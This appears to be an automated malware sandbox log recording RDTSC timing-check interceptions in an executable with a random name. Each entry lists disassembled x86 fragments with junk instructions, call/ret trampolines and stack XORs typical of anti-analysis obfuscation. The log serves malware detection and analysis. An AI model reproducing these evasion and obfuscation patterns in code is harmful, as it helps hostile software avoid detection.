Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7610 second address: 7F7635 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F8C58F36AE3h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F778F second address: 7F7793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7793 second address: 7F77AB instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C58F36AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F8C58F36AE8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F8C58F36AD6h 0x00000018 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7906 second address: 7F792C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push eax 0x00000008 jnp 00007F8C59059F06h 0x0000000e jmp 00007F8C59059F11h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F824E second address: 7F8252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F8252 second address: 7F8266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F8C59059F0Ch 0x0000000e jne 00007F8C59059F06h 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 801C52 second address: 801C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 801C56 second address: 801C66 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 801C66 second address: 801C6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 801C6C second address: 801C76 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C59059F06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 804C9A second address: 804C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 804C9E second address: 804CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80711D second address: 80714B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C58F36AE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C58F36ADFh 0x00000012 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8071EA second address: 807210 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C59059F08h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 0E0EC7F1h 0x00000013 movsx edi, si 0x00000016 push 4F05B10Ch 0x0000001b pushad 0x0000001c pushad 0x0000001d push edi 0x0000001e pop edi 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8077F1 second address: 8077F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 807D58 second address: 807D5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 807D5C second address: 807DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C58F36AE1h 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F8C58F36AD8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov esi, edi 0x00000029 xor dword ptr [ebp+122D1C28h], eax 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8C58F36ADAh 0x00000037 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 807DAF second address: 807DC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C59059F0Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 807FBB second address: 807FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 807FBF second address: 807FF4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8C59059F13h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C59059F18h 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8082A8 second address: 8082AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8083C6 second address: 8083F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F0Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C59059F18h 0x00000011 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8083F0 second address: 808414 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C58F36ADAh 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 808414 second address: 808428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 808428 second address: 80842E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8089C0 second address: 808A3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007F8C59059F12h 0x00000011 je 00007F8C59059F0Ch 0x00000017 jng 00007F8C59059F06h 0x0000001d nop 0x0000001e sub dword ptr [ebp+122D1C72h], ebx 0x00000024 push 00000000h 0x00000026 mov di, si 0x00000029 mov di, si 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F8C59059F08h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 jng 00007F8C59059F1Ah 0x0000004e call 00007F8C59059F10h 0x00000053 mov di, cx 0x00000056 pop esi 0x00000057 mov dword ptr [ebp+122D1FFFh], ebx 0x0000005d xchg eax, ebx 0x0000005e jc 00007F8C59059F12h 0x00000064 jc 00007F8C59059F0Ch 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 808A3C second address: 808A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 pushad 0x00000007 jg 00007F8C58F36AD6h 0x0000000d jp 00007F8C58F36AD6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8092A2 second address: 8092BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C59059F16h 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80A316 second address: 80A38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8C58F36AD6h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F8C58F36AD8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d mov edi, 7C6353F3h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F8C58F36AD8h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e push 00000000h 0x00000050 jnc 00007F8C58F36ADAh 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 pushad 0x00000059 push esi 0x0000005a pop esi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80ADE2 second address: 80AE05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007F8C59059F10h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80B80C second address: 80B87C instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C58F36AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F8C58F36AE2h 0x00000010 jmp 00007F8C58F36ADCh 0x00000015 popad 0x00000016 mov dword ptr [esp], eax 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F8C58F36AD8h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 js 00007F8C58F36AD8h 0x00000039 mov esi, ecx 0x0000003b push 00000000h 0x0000003d mov di, FFFCh 0x00000041 push 00000000h 0x00000043 jmp 00007F8C58F36AE1h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push esi 0x0000004c jns 00007F8C58F36AD6h 0x00000052 pop esi 0x00000053 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80D9E3 second address: 80D9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80D9E7 second address: 80D9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80D9ED second address: 80DA43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C59059F17h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F8C59059F08h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000000h 0x0000002a mov dword ptr [ebp+122D1B68h], edx 0x00000030 xchg eax, ebx 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jng 00007F8C59059F06h 0x0000003a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 80DA43 second address: 80DA4F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81184E second address: 811852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 811852 second address: 811858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 811858 second address: 81185F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8129E4 second address: 8129E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 8129E9 second address: 812A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 mov dword ptr [ebp+122D1AF5h], edi 0x0000000e sbb di, 78C7h 0x00000013 push 00000000h 0x00000015 mov edi, 26104D06h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F8C59059F08h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 jmp 00007F8C59059F18h 0x0000003b mov edi, dword ptr [ebp+12467085h] 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 jne 00007F8C59059F06h 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 812A4E second address: 812A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 812A53 second address: 812A69 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007F8C59059F06h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F8C59059F06h 0x00000016 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 812A69 second address: 812A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 815FFD second address: 81604B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F12h 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F8C59059F08h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 movsx ebx, di 0x0000002a push 00000000h 0x0000002c mov ebx, esi 0x0000002e xchg eax, esi 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 js 00007F8C59059F06h 0x00000038 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81604B second address: 816065 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C58F36AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8C58F36ADCh 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7C5533 second address: 7C553F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007F8C59059F06h 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7C553F second address: 7C5543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81B904 second address: 81B9C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007F8C59059F0Ch 0x0000000f jmp 00007F8C59059F17h 0x00000014 popad 0x00000015 nop 0x00000016 jmp 00007F8C59059F12h 0x0000001b push 00000000h 0x0000001d jmp 00007F8C59059F16h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F8C59059F08h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e mov dword ptr [ebp+122D1DA7h], eax 0x00000044 mov dword ptr [ebp+12465B64h], edi 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c pushad 0x0000004d jng 00007F8C59059F06h 0x00000053 jmp 00007F8C59059F19h 0x00000058 popad 0x00000059 push ebx 0x0000005a ja 00007F8C59059F06h 0x00000060 pop ebx 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jp 00007F8C59059F0Ch 0x0000006b jnl 00007F8C59059F06h 0x00000071 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81CAF2 second address: 81CAF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 81CAF7 second address: 81CB24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C59059F0Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C59059F17h 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 820CA1 second address: 820CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36AE6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 820CBC second address: 820D2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8C59059F13h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F8C59059F08h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov bx, CE7Fh 0x0000002d sub dword ptr [ebp+122D239Bh], edi 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+122D3ADAh], esi 0x0000003b push 00000000h 0x0000003d jmp 00007F8C59059F0Ah 0x00000042 xchg eax, esi 0x00000043 push edi 0x00000044 push edx 0x00000045 js 00007F8C59059F06h 0x0000004b pop edx 0x0000004c pop edi 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 pushad 0x00000054 popad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821C42 second address: 821C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821C48 second address: 821CB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007F8C59059F08h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D3A31h], edi 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F8C59059F08h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 0000001Ah 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 push ecx 0x00000046 or dword ptr [ebp+122D3A5Bh], edx 0x0000004c pop ebx 0x0000004d mov di, D602h 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821CB0 second address: 821CB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821CB4 second address: 821CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 821CBE second address: 821CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 829B29 second address: 829B45 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C59059F08h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8C59059F0Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 829402 second address: 829407 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 829407 second address: 829412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 82955C second address: 829572 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36ADEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
